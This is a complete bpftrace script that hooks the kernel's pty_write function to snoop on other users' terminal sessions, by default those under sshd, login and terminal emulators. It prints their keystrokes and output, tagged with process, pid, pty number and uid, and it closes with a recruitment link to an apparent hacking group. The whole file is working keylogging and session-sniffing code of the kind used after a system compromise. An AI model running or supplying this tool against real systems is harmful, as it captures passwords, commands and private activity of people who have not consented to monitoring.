ptysnoop.bt

#! /usr/bin/env bpftrace

/*
 * bpftrace -B none ./ptysnoop.bt [Options] [PTY number]...
 *
 * Options:
 *   31336   - Do not display the help screens
 *   99999   - Sniff ALL PTY (except screen & tmux). Default is to log only sshd, login and term.
 *             Be warned, this will likely sniff YOUR session as well.
 *
 * Example 1 - Snoop on sshd, login and xterms (running and new sessions):
 *   BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt
 *
 * Example 2 - Snoop on ALL but not screen or tmux:
 *   BPFTRACE_MAX_STRLEN=200 bpftrace -Bnone ./ptysnoop.bt 9999
 *
 * Example 3 - Snoop on /dev/pty/0, ... /dev/pty/3:
 *   BPFTRACE_MAX_STRLEN=200 bpfrace -Bnone 0 1 2 3
 *
 * Limitations:
 *  - The buffer may contain \x0d in the middle and it wont translate to \n.
 */

BEGIN
{
    @last_special = 0x0d;

    // bpf cant mix integer and string command line options. It's a fiddle...
    if ($1 != 31336 && $2 != 31336) {
        printf("🦋 \x1b[0;33mTIP: Nicefy the output:\n");
        printf("\x1b[0;36mbpftrace -Bnone ptysnoop.bt 31336 | sed -Eu -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\\\x1b\\[[0-9;><?]*[a-zA-Z~]|\\\\x1bO[ABCD]//g' -e 's/(\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\[dt])+/\\1/g'\x1b[0m\n");
        printf("-----\n");
    }
    if ($# == 0) { return; }

    if ($1 == 99999 || $2 == 99999) {
        @is_all = 1;
        return;
    }
    if ($# == 1 && $1 == 31336) { return; }
    if ($# == 2 && $2 == 31336) { return; }

    @is_tty_snoop = 1;
    if ($# >= 1 && $1 != 31336 && $2 != 99999) { @all_tty[$1] = 1; }
    if ($# >= 2 && $1 != 31336 && $2 != 99999) { @all_tty[$2] = 1; }
    if ($# >= 3) { @all_tty[$3] = 1; }
    if ($# >= 4) { @all_tty[$4] = 1; }
    if ($# >= 5) { @all_tty[$5] = 1; }
    if ($# >= 6) { @all_tty[$6] = 1; }
    if ($# >= 7) { @all_tty[$7] = 1; }
    if ($# >= 8) { @all_tty[$8] = 1; }
    if ($# >= 9) { @all_tty[$9] = 1; }
    if ($# >= 10) { @all_tty[$10] = 1; }
    if ($# >= 11) { @all_tty[$11] = 1; }
    if ($# >= 12) { @all_tty[$12] = 1; }
}

END
{
    if ($1 != 31336 && $2 != 31336) {
        printf("\n😘 \x1b[0;33mYou may want to nicefy a log like so:\n");
        printf("\x1b[0;36mcat x.log | sed -E -e 's/\\\\x0a\\\\x0d|\\\\x0d/\\n| /g' -e 's/\\x1b\\[[0-9;]*m|\\\\x1b\\[[0-9;><?]*[a-zA-Z~]|\\\\x1bO[ABCD]//g' -e 's/(\\\\x[0-9a-f]{2})+//g' -e 's/(\\\\[dt])+/\\1/g'");
        printf("\x1b[0m\n-----\n\x1b[1;37mJoin us - https://thc.org/ops\x1b[0m");
    }
    delete(@last_special);
    delete(@last_id);
    delete(@is_tty_snoop);
    delete(@color);
    delete(@is_all);
    clear(@all_tty);
}

kfunc:pty_write
/args->tty->count == 1/              // only master TTY
{
    if (@is_all) {
        if (strcontains(comm, "tmux") == 1) { return; }
        if (comm == "screen") { return; }
    } else {
        if (@is_tty_snoop > 0) {
            if (@all_tty[args->tty->index] == 0) { return; }
        } else {
            if (comm == "sshd") { $hit = 1; }
            if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; }
            if ($hit == 0 && comm == "login") { $hit = 1; }
            if ($hit == 0) { return; }
        }
    }

    $b = args->buf;
    $len = args->c;

    $last_id = @last_id;
    $this_id = (uint64)args->tty;

    // Do not output Arrow-UP/DOWN
    if ($len == 3 && $b[0] == 0x1b) { return; }

    $special = 0;
    if ($len == 1) {
        // Special character. Only output ONCE
        if ($b[0] < 0x20 || $b[0] > 0x7e) {
            $special = $b[0];
        }
    }

    if ($last_id != $this_id) {
        // PID has changed
        // Don't output if the user just presses enter or other special single input.
        if ($special > 0) { return; }
        // Go to new line unless we are already on a new line.
        if (@last_special != 0x0d) { printf("\n"); }
        @color = (uint64)args->tty->index % 6 + 1;
        printf("\x1b[0m>>>> \x1b[0;33m%s\x1b[0m %d /dev/pty/%d (uid=%d):\n\x1b[0;3%dm", comm, pid, args->tty->index, uid, @color);
        
        // Record a successful switch to new prompt
        @last_id = $this_id;
        @last_special = 0x0d;
    }

    if ($special > 0) {
        // Only output special characters ONCE.
        if (@last_special == $special) { return; }
        // Never output if at the beginning of a new line
        if (@last_special == 0x0d) { return; }

        if ($special == 0x08 || $special == 0x7f) {
            printf("\x1b[0;2m\\d\x1b[0;3%dm", @color);  // DEL
        } else if ($special == 0x09) {
            printf("\x1b[0;2m\\t\x1b[0;3%dm", @color);  // TAB
        } else if ($special == 0x0d) {
            printf("\n");
        }
        @last_special = $special;
        return;
    }
    if (@last_special == 0x0d) { printf("| "); }
    @last_special = 0;

    printf("%r", buf($b, $len));
}